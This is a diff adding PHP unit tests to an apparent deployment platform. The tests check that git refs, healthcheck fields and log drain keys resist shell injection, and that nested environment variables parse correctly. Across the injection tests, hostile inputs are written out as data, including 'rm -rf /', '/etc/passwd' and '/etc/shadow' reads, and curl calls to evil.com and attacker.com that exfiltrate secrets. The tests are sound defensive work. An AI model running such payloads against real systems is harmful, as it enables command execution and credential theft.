expect(validateGitRef('main'))->toBe('main'); + expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch'); + expect(validateGitRef('v1.2.3'))->toBe('v1.2.3'); + expect(validateGitRef('release-2.0'))->toBe('release-2.0'); + expect(validateGitRef('my_branch'))->toBe('my_branch'); + }); + + test('trims whitespace', function () { + expect(validateGitRef(' abc123 '))->toBe('abc123'); + }); + + test('rejects single quote injection', function () { + expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #")) + ->toThrow(Exception::class); + }); + + test('rejects semicolon command separator', function () { + expect(fn () => validateGitRef('abc123; rm -rf /')) + ->toThrow(Exception::class); + }); + + test('rejects command substitution with $()', function () { + expect(fn () => validateGitRef('$(whoami)')) + ->toThrow(Exception::class); + }); + + test('rejects backtick command substitution', function () { + expect(fn () => validateGitRef('`whoami`')) + ->toThrow(Exception::class); + }); + + test('rejects pipe operator', function () { + expect(fn () => validateGitRef('abc | cat /etc/passwd')) + ->toThrow(Exception::class); + }); + + test('rejects ampersand operator', function () { + expect(fn () => validateGitRef('abc & whoami')) + ->toThrow(Exception::class); + }); + + test('rejects hash comment injection', function () { + expect(fn () => validateGitRef('abc #')) + ->toThrow(Exception::class); + }); + + test('rejects newline injection', function () { + expect(fn () => validateGitRef("abc\nwhoami")) + ->toThrow(Exception::class); + }); + + test('rejects redirect operators', function () { + expect(fn () => validateGitRef('abc > /tmp/out')) + ->toThrow(Exception::class); + }); + + test('rejects hyphen-prefixed input (git flag injection)', function () { + expect(fn () => validateGitRef('--upload-pack=malicious')) + ->toThrow(Exception::class); + }); + + test('rejects the exact PoC payload from advisory', function () { + expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #")) + ->toThrow(Exception::class); + }); +}); + +describe('executeInDocker git log escaping', function () { + test('git log command escapes commit SHA to prevent injection', function () { + $maliciousCommit = "HEAD'; id; #"; + $command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B'; + $result = executeInDocker('test-container', $command); + + // The malicious payload must not be able to break out of quoting + expect($result)->not->toContain("id;"); + expect($result)->toContain("'HEAD'\\''"); + }); +}); + +describe('buildGitCheckoutCommand escaping', function () { + test('checkout command escapes target to prevent injection', function () { + $app = new \App\Models\Application; + $app->forceFill(['uuid' => 'test-uuid']); + + $settings = new \App\Models\ApplicationSetting; + $settings->is_git_submodules_enabled = false; + $app->setRelation('settings', $settings); + + $method = new \ReflectionMethod($app, 'buildGitCheckoutCommand'); + + $result = $method->invoke($app, 'abc123'); + expect($result)->toContain("git checkout 'abc123'"); + + $result = $method->invoke($app, "abc'; id; #"); + expect($result)->not->toContain("id;"); + expect($result)->toContain("git checkout 'abc'"); + }); +}); diff --git a/tests/Unit/GitlabSourceCommandsTest.php b/tests/Unit/GitlabSourceCommandsTest.php new file mode 100644 index 000000000..077b21590 --- /dev/null +++ b/tests/Unit/GitlabSourceCommandsTest.php @@ -0,0 +1,91 @@ +makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1); + $gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'git@gitlab.com:user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('id_rsa'); + expect($result['commands'])->toContain('mkdir -p /root/.ssh'); +}); + +it('generates ls-remote commands for GitLab source without private key', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('https://gitlab.com/user/repo.git'); + // Should NOT contain SSH key setup + expect($result['commands'])->not->toContain('id_rsa'); +}); + +it('does not return null for GitLab source type', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false); + expect($lsRemoteResult)->not->toBeNull(); + expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']); +}); diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php new file mode 100644 index 000000000..534be700a --- /dev/null +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -0,0 +1,269 @@ + 'localhost; id > /tmp/pwned #', + ]); + + // Should fall back to 'localhost' because input contains shell metacharacters + expect($result)->not->toContain('; id') + ->and($result)->not->toContain('/tmp/pwned') + ->and($result)->toContain('localhost'); +}); + +it('sanitizes health_check_method to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET; curl http://evil.com #', + ]); + + expect($result)->not->toContain('evil.com') + ->and($result)->not->toContain('; curl'); +}); + +it('sanitizes health_check_path to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_path' => '/health; rm -rf / #', + ]); + + expect($result)->not->toContain('rm -rf') + ->and($result)->not->toContain('; rm'); +}); + +it('sanitizes health_check_scheme to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_scheme' => 'http; cat /etc/passwd #', + ]); + + expect($result)->not->toContain('/etc/passwd') + ->and($result)->not->toContain('; cat'); +}); + +it('casts health_check_port to integer to prevent injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_port' => '8080; whoami', + ]); + + // (int) cast on non-numeric after digits yields 8080 + expect($result)->not->toContain('whoami') + ->and($result)->toContain('8080'); +}); + +it('generates valid healthcheck command with safe inputs', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => '8080', + 'health_check_path' => '/health', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->toContain('http://localhost:8080/health') + ->and($result)->toContain('wget -q -O-'); +}); + +it('uses escapeshellarg on the constructed URL', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_host' => 'my-app.local', + 'health_check_path' => '/api/health', + ]); + + // escapeshellarg wraps in single quotes + expect($result)->toContain("'http://my-app.local:80/api/health'"); +}); + +it('validates health_check_host rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_host' => 'localhost; id #'], + ['health_check_host' => $rules['health_check_host']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_method rejects invalid methods via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_method' => 'GET; curl evil.com'], + ['health_check_method' => $rules['health_check_method']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_scheme rejects invalid schemes via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_scheme' => 'http; whoami'], + ['health_check_scheme' => $rules['health_check_scheme']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_path rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_path' => '/health; rm -rf /'], + ['health_check_path' => $rules['health_check_path']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_port rejects non-numeric values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_port' => '8080; whoami'], + ['health_check_port' => $rules['health_check_port']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('allows valid health check values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + [ + 'health_check_host' => 'my-app.localhost', + 'health_check_method' => 'GET', + 'health_check_scheme' => 'https', + 'health_check_path' => '/api/v1/health', + 'health_check_port' => 8080, + ], + [ + 'health_check_host' => $rules['health_check_host'], + 'health_check_method' => $rules['health_check_method'], + 'health_check_scheme' => $rules['health_check_scheme'], + 'health_check_path' => $rules['health_check_path'], + 'health_check_port' => $rules['health_check_port'], + ] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('generates CMD healthcheck command directly', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + expect($result)->toBe('pg_isready -U postgres'); +}); + +it('strips newlines from CMD healthcheck command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => "redis-cli ping\n&& echo pwned", + ]); + + expect($result)->not->toContain("\n") + ->and($result)->toBe('redis-cli ping && echo pwned'); +}); + +it('falls back to HTTP healthcheck when CMD type has empty command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => '', + ]); + + // Should fall through to HTTP path + expect($result)->toContain('curl -s -X'); +}); + +it('validates healthCheckCommand rejects strings over 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => str_repeat('a', 1001)], + $rules + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates healthCheckCommand accepts strings under 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + $rules + ); + + expect($validator->fails())->toBeFalse(); +}); + +/** + * Helper: Invokes the private generate_healthcheck_commands() method via reflection. + */ +function callGenerateHealthcheckCommands(array $overrides = []): string +{ + $defaults = [ + 'health_check_type' => 'http', + 'health_check_command' => null, + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => null, + 'health_check_path' => '/', + 'ports_exposes' => '80', + ]; + + $values = array_merge($defaults, $overrides); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']); + $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']); + $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']); + $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']); + $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']); + $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']); + $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']); + $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes'])); + $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks'); + + $settings = Mockery::mock(ApplicationSetting::class)->makePartial(); + $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false); + $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + + $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); + + $reflection = new ReflectionClass($job); + + $appProp = $reflection->getProperty('application'); + $appProp->setAccessible(true); + $appProp->setValue($job, $application); + + $method = $reflection->getMethod('generate_healthcheck_commands'); + $method->setAccessible(true); + + return $method->invoke($job); +} diff --git a/tests/Unit/HetznerDeletionFailedNotificationTest.php b/tests/Unit/HetznerDeletionFailedNotificationTest.php index 6cb9f0bb3..22d5e80db 100644 --- a/tests/Unit/HetznerDeletionFailedNotificationTest.php +++ b/tests/Unit/HetznerDeletionFailedNotificationTest.php @@ -1,7 +1,6 @@ ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'], + 'KEY3' => ['value' => 'value3', 'comment' => null], + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBe('This is a comment'); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles plain string format gracefully', function () { + // Simulate a scenario where parseEnvFormatToArray might return plain strings + // (for backward compatibility or edge cases) + $variables = [ + 'KEY1' => 'value1', + 'KEY2' => 'value2', + 'KEY3' => 'value3', + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($comment)->toBeNull(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + } +}); + +test('DockerCompose handles mixed array and string formats', function () { + // Simulate a mixed scenario (unlikely but possible) + $variables = [ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'], + 'KEY2' => 'value2', // Plain string + 'KEY3' => ['value' => 'value3', 'comment' => null], + 'KEY4' => 'value4', // Plain string + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBe('comment1'); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY4') { + expect($value)->toBe('value4'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles empty array values gracefully', function () { + // Simulate edge case with incomplete array structure + $variables = [ + 'KEY1' => ['value' => 'value1'], // Missing 'comment' key + 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case) + 'KEY3' => [], // Empty array (edge case) + ]; + + // Test the extraction logic with improved fallback + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction doesn't crash + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + // If 'value' is missing, fallback to empty string (not the whole array) + expect($value)->toBe(''); + expect($comment)->toBe('comment2'); + } elseif ($key === 'KEY3') { + // If both are missing, fallback to empty string (not empty array) + expect($value)->toBe(''); + expect($comment)->toBeNull(); + } + } +}); diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php new file mode 100644 index 000000000..5beef1a4b --- /dev/null +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -0,0 +1,118 @@ +/tmp/pwned)'; + + $server = mock(Server::class)->makePartial(); + $settings = mock(ServerSetting::class)->makePartial(); + + $settings->is_logdrain_axiom_enabled = true; + $settings->is_logdrain_newrelic_enabled = false; + $settings->is_logdrain_highlight_enabled = false; + $settings->is_logdrain_custom_enabled = false; + $settings->logdrain_axiom_dataset_name = 'test-dataset'; + $settings->logdrain_axiom_api_key = $maliciousPayload; + + $server->name = 'test-server'; + $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + // Build the env content the same way StartLogDrain does after the fix + $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n"; + $envEncoded = base64_encode($envContent); + + // The malicious payload must NOT appear directly in the encoded string + // (it's inside the base64 blob, which the shell treats as opaque data) + expect($envEncoded)->not->toContain($maliciousPayload); + + // Verify the decoded content preserves the value exactly + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}"); +}); + +it('does not interpolate newrelic license key into shell commands', function () { + $maliciousPayload = '`rm -rf /`'; + + $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); + + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); +}); + +it('does not interpolate highlight project id into shell commands', function () { + $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))'; + + $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); +}); + +it('produces correct env file content for axiom type', function () { + $datasetName = 'my-dataset'; + $apiKey = 'xaat-abc123-def456'; + + $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n"); +}); + +it('produces correct env file content for newrelic type', function () { + $licenseKey = 'nr-license-123'; + $baseUri = 'https://log-api.newrelic.com/log/v1'; + + $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n"); +}); + +// ------------------------------------------------------------------------- +// Validation layer: reject shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects shell metacharacters in log drain fields', function (string $payload) { + // These payloads should NOT match the safe regex pattern + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $payload))->toBe(0); +})->with([ + '$(id)', + '`id`', + 'key;rm -rf /', + 'key|cat /etc/passwd', + 'key && whoami', + 'key$(curl evil.com)', + "key\nnewline", + 'key with spaces', + 'key>file', + 'key/tmp/coolify_poc_logdrain)', +]); + +it('accepts valid log drain field values', function (string $value) { + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $value))->toBe(1); +})->with([ + 'xaat-abc123-def456', + 'my-dataset', + 'my_dataset', + 'simple123', + 'nr-license.key_v2', + 'project-id-123', +]); diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php new file mode 100644 index 000000000..b98f49dd7 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php @@ -0,0 +1,253 @@ +not->toBeNull() + ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split)->not->toBeNull() + ->and($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables correctly extracts nested variable content', function () { + // Before the fix, this would incorrectly extract only up to the first closing brace + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO" + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated +}); + +test('nested defaults with path concatenation work', function () { + $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('REDIS_URL') + ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0'); +}); + +test('deeply nested variables are handled', function () { + // Three levels of nesting + $input = '${A:-${B:-${C}}}'; + + $result = extractBalancedBraceContent($input, 0); + + expect($result['content'])->toBe('A:-${B:-${C}}'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['default'])->toBe('${B:-${C}}'); +}); + +test('multiple nested variables in default value', function () { + // Default value contains multiple variable references + $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API') + ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api'); +}); + +test('nested variables with different operators', function () { + // Nested variable uses different operator + $input = '${API_URL:-${SERVICE_URL?error message}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL?error message}/api'); +}); + +test('backward compatibility with simple variables', function () { + // Simple variable without nesting should still work + $input = '${VAR}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR'); +}); + +test('backward compatibility with single-level defaults', function () { + // Single-level default without nesting + $input = '${VAR:-default_value}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR:-default_value'); + + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('default_value'); +}); + +test('backward compatibility with dash operator', function () { + $input = '${VAR-default}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('-'); +}); + +test('backward compatibility with colon question operator', function () { + $input = '${VAR:?error message}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('backward compatibility with question operator', function () { + $input = '${VAR?error}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('SERVICE_URL magic variables in nested defaults', function () { + // Real-world scenario: SERVICE_URL_* magic variable used in nested default + $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('DATABASE_URL') + ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb'); + + // Extract the nested SERVICE_URL variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES'); +}); + +test('SERVICE_FQDN magic variables in nested defaults', function () { + $input = '${API_HOST:-${SERVICE_FQDN_API}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_FQDN_API}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_FQDN_API'); +}); + +test('complex real-world example', function () { + // Complex real-world scenario from the bug report + $input = '${API_URL:-${SERVICE_URL_YOLO}/api}'; + + // Step 1: Extract outer variable content + $result = extractBalancedBraceContent($input, 0); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + // Step 2: Split on operator + $split = splitOnOperatorOutsideNested($result['content']); + expect($split['variable'])->toBe('API_URL'); + expect($split['operator'])->toBe(':-'); + expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); + + // Step 3: Extract nested variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO'); + + // This verifies that: + // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api" + // 2. SERVICE_URL_YOLO should be recognized and created as magic variable +}); + +test('empty nested default values', function () { + $input = '${VAR:-${NESTED:-}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${NESTED:-}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']); + + expect($nestedSplit['default'])->toBe(''); +}); + +test('nested variables with complex paths', function () { + $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json'); +}); + +test('replaceVariables strips leading dollar sign from bare $VAR format', function () { + // Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces), + // replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES. + // Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES. + expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES') + ->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES') + ->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE'); +}); + +test('bare dollar variable in bash-style fallback does not capture trailing brace', function () { + // Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to + // capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex + // greedily matches the closing brace of the outer ${...} construct. + // The fix uses capture group 2 (clean variable name) instead of group 1. + $value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}'; + + $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; + preg_match_all($regex, $value, $valueMatches); + + // Group 2 should contain clean variable names without any braces + expect($valueMatches[2])->toContain('_APP_DOMAIN') + ->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE'); + + // Verify no match in group 2 has trailing } + foreach ($valueMatches[2] as $match) { + expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }"); + } + + // Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE} + // This demonstrates why group 2 must be used instead + expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}'); +}); + +test('operator precedence with nesting', function () { + // The first :- at depth 0 should be used, not the one inside nested braces + $input = '${A:-${B:-default}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + // Should split on first :- (at depth 0) + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); // Not split here +}); diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php new file mode 100644 index 000000000..81b440927 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableTest.php @@ -0,0 +1,207 @@ +toBe('VAR') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(5); +}); + +test('extractBalancedBraceContent handles nested braces', function () { + $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(34); // Position of closing } +}); + +test('extractBalancedBraceContent handles triple nesting', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C}}'); +}); + +test('extractBalancedBraceContent returns null for unbalanced braces', function () { + $result = extractBalancedBraceContent('${VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null when no braces', function () { + $result = extractBalancedBraceContent('VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles startPos parameter', function () { + $result = extractBalancedBraceContent('foo ${VAR} bar', 4); + + assertNotNull($result); + expect($result['content'])->toBe('VAR') + ->and($result['start'])->toBe(5) + ->and($result['end'])->toBe(9); +}); + +test('splitOnOperatorOutsideNested splits on :- operator', function () { + $split = 